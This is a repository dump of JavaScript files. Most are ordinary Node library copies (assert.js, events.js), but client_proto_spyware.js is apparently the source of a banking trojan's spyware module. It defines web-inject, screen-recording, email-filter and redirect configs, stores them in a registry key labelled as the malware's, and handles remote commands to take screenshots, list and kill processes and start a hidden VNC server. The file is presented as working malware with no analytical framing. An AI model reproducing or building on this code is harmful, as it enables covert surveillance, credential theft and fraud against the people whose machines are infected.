| 'bind', 210 | 'get', 211 | 'run', 212 | 'all', 213 | 'each', 214 | 'map', 215 | 'reset', 216 | 'finalize', 217 | ].forEach(function (name) { 218 | extendTrace(Statement.prototype, name); 219 | }); 220 | isVerbose = true; 221 | } 222 | return this; 223 | }; 224 | -------------------------------------------------------------------------------- /assert.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | var util = require('util'); 27 | var pSlice = Array.prototype.slice; 28 | 29 | 30 | 31 | 32 | 33 | var assert = module.exports = ok; 34 | 35 | 36 | 37 | 38 | 39 | 40 | assert.AssertionError = function AssertionError(options) { 41 | this.name = 'AssertionError'; 42 | this.actual = options.actual; 43 | this.expected = options.expected; 44 | this.operator = options.operator; 45 | if (options.message) { 46 | this.message = options.message; 47 | this.generatedMessage = false; 48 | } else { 49 | this.message = getMessage(this); 50 | this.generatedMessage = true; 51 | } 52 | var stackStartFunction = options.stackStartFunction || fail; 53 | Error.captureStackTrace(this, stackStartFunction); 54 | }; 55 | 56 | 57 | util.inherits(assert.AssertionError, Error); 58 | 59 | function replacer(key, value) { 60 | if (util.isUndefined(value)) { 61 | return '' + value; 62 | } 63 | if (util.isNumber(value) && !isFinite(value)) { 64 | return value.toString(); 65 | } 66 | if (util.isFunction(value) || util.isRegExp(value)) { 67 | return value.toString(); 68 | } 69 | return value; 70 | } 71 | 72 | function truncate(s, n) { 73 | if (util.isString(s)) { 74 | return s.length < n ? s : s.slice(0, n); 75 | } else { 76 | return s; 77 | } 78 | } 79 | 80 | function getMessage(self) { 81 | return truncate(JSON.stringify(self.actual, replacer), 128) + ' ' + 82 | self.operator + ' ' + 83 | truncate(JSON.stringify(self.expected, replacer), 128); 84 | } 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | function fail(actual, expected, message, operator, stackStartFunction) { 98 | throw new assert.AssertionError({ 99 | message: message, 100 | actual: actual, 101 | expected: expected, 102 | operator: operator, 103 | stackStartFunction: stackStartFunction 104 | }); 105 | } 106 | 107 | 108 | assert.fail = fail; 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | function ok(value, message) { 118 | if (!value) fail(value, true, message, '==', assert.ok); 119 | } 120 | assert.ok = ok; 121 | 122 | 123 | 124 | 125 | 126 | assert.equal = function equal(actual, expected, message) { 127 | if (actual != expected) fail(actual, expected, message, '==', assert.equal); 128 | }; 129 | 130 | 131 | 132 | 133 | assert.notEqual = function notEqual(actual, expected, message) { 134 | if (actual == expected) { 135 | fail(actual, expected, message, '!=', assert.notEqual); 136 | } 137 | }; 138 | 139 | 140 | 141 | 142 | assert.deepEqual = function deepEqual(actual, expected, message) { 143 | if (!_deepEqual(actual, expected)) { 144 | fail(actual, expected, message, 'deepEqual', assert.deepEqual); 145 | } 146 | }; 147 | 148 | function _deepEqual(actual, expected) { 149 | 150 | if (actual === expected) { 151 | return true; 152 | 153 | } else if (util.isBuffer(actual) && util.isBuffer(expected)) { 154 | if (actual.length != expected.length) return false; 155 | 156 | for (var i = 0; i < actual.length; i++) { 157 | if (actual[i] !== expected[i]) return false; 158 | } 159 | 160 | return true; 161 | 162 | 163 | 164 | } else if (util.isDate(actual) && util.isDate(expected)) { 165 | return actual.getTime() === expected.getTime(); 166 | 167 | 168 | 169 | 170 | } else if (util.isRegExp(actual) && util.isRegExp(expected)) { 171 | return actual.source === expected.source && 172 | actual.global === expected.global && 173 | actual.multiline === expected.multiline && 174 | actual.lastIndex === expected.lastIndex && 175 | actual.ignoreCase === expected.ignoreCase; 176 | 177 | 178 | 179 | } else if (!util.isObject(actual) && !util.isObject(expected)) { 180 | return actual == expected; 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | } else { 189 | return objEquiv(actual, expected); 190 | } 191 | } 192 | 193 | function isArguments(object) { 194 | return Object.prototype.toString.call(object) == '[object Arguments]'; 195 | } 196 | 197 | function objEquiv(a, b) { 198 | if (util.isNullOrUndefined(a) || util.isNullOrUndefined(b)) 199 | return false; 200 | 201 | if (a.prototype !== b.prototype) return false; 202 | 203 | 204 | var aIsArgs = isArguments(a), 205 | bIsArgs = isArguments(b); 206 | if ((aIsArgs && !bIsArgs) || (!aIsArgs && bIsArgs)) 207 | return false; 208 | if (aIsArgs) { 209 | a = pSlice.call(a); 210 | b = pSlice.call(b); 211 | return _deepEqual(a, b); 212 | } 213 | try { 214 | var ka = Object.keys(a), 215 | kb = Object.keys(b), 216 | key, i; 217 | } catch (e) { 218 | return false; 219 | } 220 | 221 | 222 | if (ka.length != kb.length) 223 | return false; 224 | 225 | ka.sort(); 226 | kb.sort(); 227 | 228 | for (i = ka.length - 1; i >= 0; i--) { 229 | if (ka[i] != kb[i]) 230 | return false; 231 | } 232 | 233 | 234 | for (i = ka.length - 1; i >= 0; i--) { 235 | key = ka[i]; 236 | if (!_deepEqual(a[key], b[key])) return false; 237 | } 238 | return true; 239 | } 240 | 241 | 242 | 243 | 244 | assert.notDeepEqual = function notDeepEqual(actual, expected, message) { 245 | if (_deepEqual(actual, expected)) { 246 | fail(actual, expected, message, 'notDeepEqual', assert.notDeepEqual); 247 | } 248 | }; 249 | 250 | 251 | 252 | 253 | assert.strictEqual = function strictEqual(actual, expected, message) { 254 | if (actual !== expected) { 255 | fail(actual, expected, message, '===', assert.strictEqual); 256 | } 257 | }; 258 | 259 | 260 | 261 | 262 | assert.notStrictEqual = function notStrictEqual(actual, expected, message) { 263 | if (actual === expected) { 264 | fail(actual, expected, message, '!==', assert.notStrictEqual); 265 | } 266 | }; 267 | 268 | function expectedException(actual, expected) { 269 | if (!actual || !expected) { 270 | return false; 271 | } 272 | 273 | if (Object.prototype.toString.call(expected) == '[object RegExp]') { 274 | return expected.test(actual); 275 | } else if (actual instanceof expected) { 276 | return true; 277 | } else if (expected.call({}, actual) === true) { 278 | return true; 279 | } 280 | 281 | return false; 282 | } 283 | 284 | function _throws(shouldThrow, block, expected, message) { 285 | var actual; 286 | 287 | if (util.isString(expected)) { 288 | message = expected; 289 | expected = null; 290 | } 291 | 292 | try { 293 | block(); 294 | } catch (e) { 295 | actual = e; 296 | } 297 | 298 | message = (expected && expected.name ? ' (' + expected.name + ').' : '.') + 299 | (message ? ' ' + message : '.'); 300 | 301 | if (shouldThrow && !actual) { 302 | fail(actual, expected, 'Missing expected exception' + message); 303 | } 304 | 305 | if (!shouldThrow && expectedException(actual, expected)) { 306 | fail(actual, expected, 'Got unwanted exception' + message); 307 | } 308 | 309 | if ((shouldThrow && actual && expected && 310 | !expectedException(actual, expected)) || (!shouldThrow && actual)) { 311 | throw actual; 312 | } 313 | } 314 | 315 | 316 | 317 | 318 | assert.throws = function(block, error, message) { 319 | _throws.apply(this, [true].concat(pSlice.call(arguments))); 320 | }; 321 | 322 | 323 | assert.doesNotThrow = function(block, message) { 324 | _throws.apply(this, [false].concat(pSlice.call(arguments))); 325 | }; 326 | 327 | assert.ifError = function(err) { if (err) {throw err;}}; 328 | -------------------------------------------------------------------------------- /client_proto_spyware.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var path = require('path'); 3 | var zlib = require('zlib'); 4 | var net = require('net'); 5 | var stream = require('stream'); 6 | var util = require('util'); 7 | var suspend = require('suspend'); 8 | var spyware = process.binding("spyware"); 9 | var reg = process.binding("registry"); 10 | var config_processor = require("config_processor"); 11 | var protobuf = require('protocol_buffers') 12 | 13 | var messages = protobuf( 14 | 'message RedirectionEntry\r\n{\r\noptional string name = 1;\r\noptional string uri = 2;\r\noptional string keyword = 3;\r\noptional string uripassword = 4;\r\noptional string datapassword = 5;\r\n}' + 15 | 'message ProcessModule {\r\n\toptional string szExePath = 1;\r\n\toptional uint32 GlblcntUsage = 2;\r\n\toptional uint64 hModule = 3;\r\n\toptional uint64 modBaseAddr = 4;\r\n\toptional uint64 modBaseSize = 5;\r\n\toptional uint32 ProccntUsage = 6;\r\n\toptional uint32 pcPriClassBase = 7;\r\n\toptional uint32 dwFlags = 8;\r\n\toptional string szModule = 9;\r\n\toptional uint32 th32ModuleID = 10;\r\n\toptional uint32 th32ProcessID = 11;\r\n}\r\n\r\n' + 16 | 'message Process {\r\n\toptional string szExeFile = 1;\r\n\toptional uint32 cntUsage = 2;\r\n\toptional uint32 th32ProcessID = 3;\r\n\toptional uint32 th32ModuleID = 4;\r\n\toptional uint32 cntThreads = 5;\r\n\toptional uint32 th32ParentProcessID = 6;\r\n\toptional uint32 pcPriClassBase = 7;\r\n\toptional uint32 dwFlags = 8;\r\n\toptional bool\towned = 9;\r\n\trepeated ProcessModule modules = 10;\r\n}\r\n\r\nmessage ProcessList {\r\n \trepeated Process Processes = 1;\r\n}\r\n\r\n' + 17 | 'message BaseEntryBlock \r\n{\r\n\trepeated string url = 1;\r\n\toptional bool enabled = 2 [default = true];\r\n\trepeated string guids = 3;\r\n\toptional bool filt_get = 4 [default = true];\r\n\toptional bool filt_post = 5 [default = true]; \r\n}\r\n\r\n\r\n' + 18 | 'message SpywareConfigEntry\r\n{\r\n\trequired BaseEntryBlock base = 1;\r\n\r\n\toptional string data_before = 2;\r\n\toptional string data_inject = 3;\r\n\toptional string data_after = 4;\r\nrepeated string stoplist = 5;\r\n}\r\n\r\n' + 19 | 'message VideoConfigEntry\r\n{\r\n\trequired BaseEntryBlock base = 1;\r\n\r\n\toptional bool grayScale = 2 [default = true];\r\n\toptional int32 framerate = 3 [default = 5];\r\n\toptional int32 seconds = 4 [default = 30];\r\n\toptional string filenameMask = 5;\r\n\toptional bool uploadAfterRecord = 6 [default = true];\r\n\toptional string hashkey = 7;\r\n}\r\n\r\n\r\n' + 20 | 'message FragmentConfigEntry\r\n{\r\n required BaseEntryBlock base = 1;\r\n\r\n optional string data_before = 2;\r\n optional string data_after = 3;\r\n}\r\n\r\n' + 21 | 'message MailFilterEntry \r\n{\r\n\toptional string from = 1;\r\n\toptional string to = 2;\r\n\toptional string subject = 3;\r\n\toptional string body = 4;\r\n}\r\n\r\n\r\n' + 22 | 'message SpywareConfig \r\n{\r\n repeated SpywareConfigEntry injects = 1;\r\n repeated VideoConfigEntry recorders = 2;\r\n\trepeated FragmentConfigEntry fragmets = 3;\r\n\trepeated MailFilterEntry emailfilter = 4;\r\nrepeated RedirectionEntry redirects = 5;\r\n}' 23 | ); 24 | 25 | const SP_SCREENSHOT = 1; 26 | const SP_PROCESSLIST = 2; 27 | const SP_PROCESKILL = 3; 28 | const SP_SPYWARE_CONFIG = 4; 29 | const SP_START_VNC = 5; 30 | 31 | var MyPacketId; 32 | 33 | process.protobuf_spyware_messages = messages; 34 | 35 | function BuildPacket(requestId, status, data) 36 | { 37 | var packet; 38 | 39 | if(data){ 40 | packet = new Buffer( 41 | 2 + 42 | 4 + 43 | 1 + 44 | data.length 45 | ); 46 | } 47 | else 48 | { 49 | packet = new Buffer( 50 | 2 + 51 | 4 + 52 | 1 53 | ); 54 | } 55 | 56 | packet.writeUInt16BE(MyPacketId, 0); 57 | packet.writeUInt32BE(requestId, 2); 58 | packet.writeUInt8(status, 6); 59 | 60 | if(data) 61 | data.copy(packet, 7); 62 | 63 | return packet; 64 | } 65 | 66 | function IsProcessOwned(pid) 67 | { 68 | 69 | if(pid === process.pid) 70 | { 71 | return true; 72 | } 73 | 74 | if(util.isUndefined(process.slaveServer)) 75 | { 76 | return false; 77 | } 78 | 79 | for(let i = 0; i < process.slaveServer.clients.length; i ++) 80 | { 81 | if(util.isUndefined(process.slaveServer.clients[i].botSocket.process)) 82 | { 83 | continue; 84 | } 85 | 86 | 87 | if(process.slaveServer.clients[i].botSocket.process.pid.toString() === pid.toString()) 88 | { 89 | return true; 90 | } 91 | } 92 | 93 | } 94 | var OnPacket = suspend(function*(outstream, data) 95 | { 96 | 97 | if(data.length <= 5){ 98 | return; 99 | } 100 | 101 | var func = data.readUInt8(); 102 | var requestId = data.readUInt32BE(1); 103 | 104 | 105 | 106 | 107 | 108 | try 109 | { 110 | switch(func) 111 | { 112 | case SP_START_VNC : 113 | require('spyware').startVncServer(); 114 | outstream.sendProtocolPacket( 115 | MyPacketId, requestId, 0x00, new Buffer([0x00])); 116 | break; 117 | case SP_SCREENSHOT : 118 | var screen = spyware.SpTakeScreenshot(data.readUInt8(5)); 119 | 120 | outstream.sendProtocolPacket( 121 | MyPacketId, requestId, 0x00, screen); 122 | 123 | break; 124 | case SP_PROCESSLIST : 125 | 126 | var processesDump = spyware.SpGetProcessList(); 127 | 128 | for(let i = 0; i < processesDump.length; i ++) 129 | { 130 | if(IsProcessOwned(processesDump[i].th32ProcessID)) 131 | { 132 | processesDump[i].owned = true; 133 | } 134 | } 135 | 136 | if(data.readUInt8(5) === 0) 137 | { 138 | 139 | for(let i = 0; i < processesDump.length; i ++) 140 | { 141 | processesDump[i].modules = []; 142 | } 143 | } 144 | 145 | var encodedPacket = messages.ProcessList.encode({ 146 | Processes : processesDump 147 | }); 148 | 149 | outstream.sendProtocolPacket( 150 | MyPacketId, requestId, 0x00, encodedPacket); 151 | 152 | break; 153 | case SP_PROCESKILL : 154 | var pid = data.readUInt32BE(5) 155 | 156 | try{ 157 | if(process.kill(pid)) 158 | { 159 | outstream.sendProtocolPacket(MyPacketId, requestId, 0x00); 160 | } 161 | else 162 | { 163 | outstream.sendProtocolPacket(MyPacketId, requestId, 0xFF); 164 | } 165 | 166 | }catch(e) 167 | { 168 | outstream.sendProtocolPacket(MyPacketId, requestId, 0xFF); 169 | } 170 | 171 | break; 172 | case SP_SPYWARE_CONFIG: 173 | var cfg = data.slice(1); 174 | process.configBlob = cfg; 175 | process.g_scfg = messages.SpywareConfig.decode(cfg); 176 | 177 | 178 | 179 | config_processor.SpSaveConfig(cfg); 180 | 181 | if(process.OnSpConfig) 182 | process.OnSpConfig(process.g_scfg); 183 | 184 | break; 185 | default: 186 | outstream.sendProtocolPacket( 187 | MyPacketId, requestId, 0xFF); 188 | break; 189 | } 190 | 191 | } 192 | catch(error) 193 | { 194 | console.log(error); 195 | console.log(error.stack); 196 | console.log(error.message); 197 | outstream.sendProtocolPacket( 198 | MyPacketId, requestId, 0xFE, 199 | new Buffer(error.message)); 200 | } 201 | 202 | }); 203 | 204 | exports.register = function (prtocolId, packetParsers, procolPacketBuilders) { 205 | 206 | 207 | process.g_malwareRegistryPath = "SOFTWARE\\cxsw"; 208 | process.g_malwareRegistryHive = HKEY_CURRENT_USER; 209 | process.g_SpConfigKey = "{c1e2bc64-8d94-461f-a485-50a7322bfb4a}"; 210 | 211 | config_processor.SpLoadConfig(); 212 | 213 | MyPacketId = prtocolId; 214 | 215 | packetParsers[prtocolId] = OnPacket; 216 | procolPacketBuilders[prtocolId] = BuildPacket; 217 | } -------------------------------------------------------------------------------- /events.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var domain; 23 | var util = require('util'); 24 | 25 | function EventEmitter() { 26 | EventEmitter.init.call(this); 27 | } 28 | module.exports = EventEmitter; 29 | 30 | 31 | EventEmitter.EventEmitter = EventEmitter; 32 | 33 | EventEmitter.usingDomains = false; 34 | 35 | EventEmitter.prototype.domain = undefined; 36 | EventEmitter.prototype._events = undefined; 37 | EventEmitter.prototype._maxListeners = undefined; 38 | 39 | 40 | 41 | EventEmitter.defaultMaxListeners = 10; 42 | 43 | EventEmitter.init = function() { 44 | this.domain = null; 45 | if (EventEmitter.usingDomains) { 46 | 47 | domain = domain || require('domain'); 48 | if (domain.active && !(this instanceof domain.Domain)) { 49 | this.domain = domain.active; 50 | } 51 | } 52 | 53 | if (!this._events || this._events === Object.getPrototypeOf(this)._events) 54 | this._events = {}; 55 | 56 | this._maxListeners = this._maxListeners || undefined; 57 | }; 58 | 59 | 60 | 61 | EventEmitter.prototype.setMaxListeners = function setMaxListeners(n) { 62 | if (!util.isNumber(n) || n < 0 || isNaN(n)) 63 | throw TypeError('n must be a positive number'); 64 | this._maxListeners = n; 65 | return this; 66 | }; 67 | 68 | EventEmitter.prototype.emit = function emit(type) { 69 | var er, handler, len, args, i, listeners; 70 | 71 | if (!this._events) 72 | this._events = {}; 73 | 74 | 75 | if (type === 'error' && !this._events.error) { 76 | er = arguments[1]; 77 | if (this.domain) { 78 | if (!er) 79 | er = new Error('Uncaught, unspecified "error" event.'); 80 | er.domainEmitter = this; 81 | er.domain = this.domain; 82 | er.domainThrown = false; 83 | this.domain.emit('error', er); 84 | } else if (er instanceof Error) { 85 | throw er; 86 | } else { 87 | throw Error('Uncaught, unspecified "error" event.'); 88 | } 89 | return false; 90 | } 91 | 92 | handler = this._events[type]; 93 | 94 | if (util.isUndefined(handler)) 95 | return false; 96 | 97 | if (this.domain && this !== process) 98 | this.domain.enter(); 99 | 100 | if (util.isFunction(handler)) { 101 | switch (arguments.length) { 102 | 103 | case 1: 104 | handler.call(this); 105 | break; 106 | case 2: 107 | handler.call(this, arguments[1]); 108 | break; 109 | case 3: 110 | handler.call(this, arguments[1], arguments[2]); 111 | break; 112 | 113 | default: 114 | len = arguments.length; 115 | args = new Array(len - 1); 116 | for (i = 1; i < len; i++) 117 | args[i - 1] = arguments[i]; 118 | handler.apply(this, args); 119 | } 120 | } else if (util.isObject(handler)) { 121 | len = arguments.length; 122 | args = new Array(len - 1); 123 | for (i = 1; i < len; i++) 124 | args[i - 1] = arguments[i]; 125 | 126 | listeners = handler.slice(); 127 | len = listeners.length; 128 | for (i = 0; i < len; i++) 129 | listeners[i].apply(this, args); 130 | } 131 | 132 | if (this.domain && this !== process) 133 | this.domain.exit(); 134 | 135 | return true; 136 | }; 137 | 138 | EventEmitter.prototype.addListener = function addListener(type, listener) { 139 | var m; 140 | 141 | if (!util.isFunction(listener)) 142 | throw TypeError('listener must be a function'); 143 | 144 | if (!this._events) 145 | this._events = {}; 146 | 147 | 148 | 149 | if (this._events.newListener) 150 | this.emit('newListener', type, 151 | util.isFunction(listener.listener) ? 152 | listener.listener : listener); 153 | 154 | if (!this._events[type]) 155 | 156 | this._events[type] = listener; 157 | else if (util.isObject(this._events[type])) 158 | 159 | this._events[type].push(listener); 160 | else 161 | 162 | this._events[type] = [this._events[type], listener]; 163 | 164 | 165 | if (util.isObject(this._events[type]) && !this._events[type].warned) { 166 | var m; 167 | if (!util.isUndefined(this._maxListeners)) { 168 | m = this._maxListeners; 169 | } else { 170 | m = EventEmitter.defaultMaxListeners; 171 | } 172 | 173 | if (m && m > 0 && this._events[type].length > m) { 174 | this._events[type].warned = true; 175 | console.error('(node) warning: possible EventEmitter memory ' + 176 | 'leak detected. %d %s listeners added. ' + 177 | 'Use emitter.setMaxListeners() to increase limit.', 178 | this._events[type].length, type); 179 | console.trace(); 180 | } 181 | } 182 | 183 | return this; 184 | }; 185 | 186 | EventEmitter.prototype.on = EventEmitter.prototype.addListener; 187 | 188 | EventEmitter.prototype.once = function once(type, listener) { 189 | if (!util.isFunction(listener)) 190 | throw TypeError('listener must be a function'); 191 | 192 | var fired = false; 193 | 194 | function g() { 195 | this.removeListener(type, g); 196 | 197 | if (!fired) { 198 | fired = true; 199 | listener.apply(this, arguments); 200 | } 201 | } 202 | 203 | g.listener = listener; 204 | this.on(type, g); 205 | 206 | return this; 207 | }; 208 | 209 | 210 | EventEmitter.prototype.removeListener = 211 | function removeListener(type, listener) { 212 | var list, position, length, i; 213 | 214 | if (!util.isFunction(listener)) 215 | throw TypeError('listener must be a function'); 216 | 217 | if (!this._events || !this._events[type]) 218 | return this; 219 | 220 | list = this._events[type]; 221 | length = list.length; 222 | position = -1; 223 | 224 | if (list === listener || 225 | (util.isFunction(list.listener) && list.listener === listener)) { 226 | delete this._events[type]; 227 | if (this._events.removeListener) 228 | this.emit('removeListener', type, listener); 229 | 230 | } else if (util.isObject(list)) { 231 | for (i = length; i-- > 0;) { 232 | if (list[i] === listener || 233 | (list[i].listener && list[i].listener === listener)) { 234 | position = i; 235 | break; 236 | } 237 | } 238 | 239 | if (position < 0) 240 | return this; 241 | 242 | if (list.length === 1) { 243 | list.length = 0; 244 | delete this._events[type]; 245 | } else { 246 | list.splice(position, 1); 247 | } 248 | 249 | if (this._events.removeListener) 250 | this.emit('removeListener', type, listener); 251 | } 252 | 253 | return this; 254 | }; 255 | 256 | EventEmitter.prototype.removeAllListeners = 257 | function removeAllListeners(type) { 258 | var key, listeners; 259 | 260 | if (!this._events) 261 | return this; 262 | 263 | 264 | if (!this._events.removeListener) { 265 | if (arguments.length === 0) 266 | this._events = {}; 267 | else if (this._events[type]) 268 | delete this._events[type]; 269 | return this; 270 | } 271 | 272 | 273 | if (arguments.length === 0) { 274 | for (key in this._events) { 275 | if (key === 'removeListener') continue; 276 | this.removeAllListeners(key); 277 | } 278 | this.removeAllListeners('removeListener'); 279 | this._events = {}; 280 | return this; 281 | } 282 | 283 | listeners = this._events[type]; 284 | 285 | if (util.isFunction(listeners)) { 286 | this.removeListener(type, listeners); 287 | } else if (Array.isArray(listeners)) { 288 | 289 | while (listeners.length) 290 | this.removeListener(type, listeners[listeners.length - 1]); 291 | } 292 | delete this._events[type]; 293 | 294 | return this; 295 | }; 296 | 297 | EventEmitter.prototype.listeners = function listeners(type) { 298 | var ret; 299 | if (!this._events || !this._events[type]) 300 | ret = []; 301 | else if (util.isFunction(this._events[type])) 302 | ret = [this._events[type]]; 303 | else 304 | ret = this._events[type].slice(); 305 | return ret; 306 | }; 307 | 308 | EventEmitter.listenerCount = function(emitter, type) { 309 | var ret; 310 | if (!emitter._events || !emitter._events[type]) 311 | ret = 0; 312 | else if (util.isFunction(emitter._events[type])) 313 | ret = 1; 314 | else 315 | ret = emitter._events[type].length; 316 | return ret; 317 | }; 318 | --------------------------------------------------------------------------------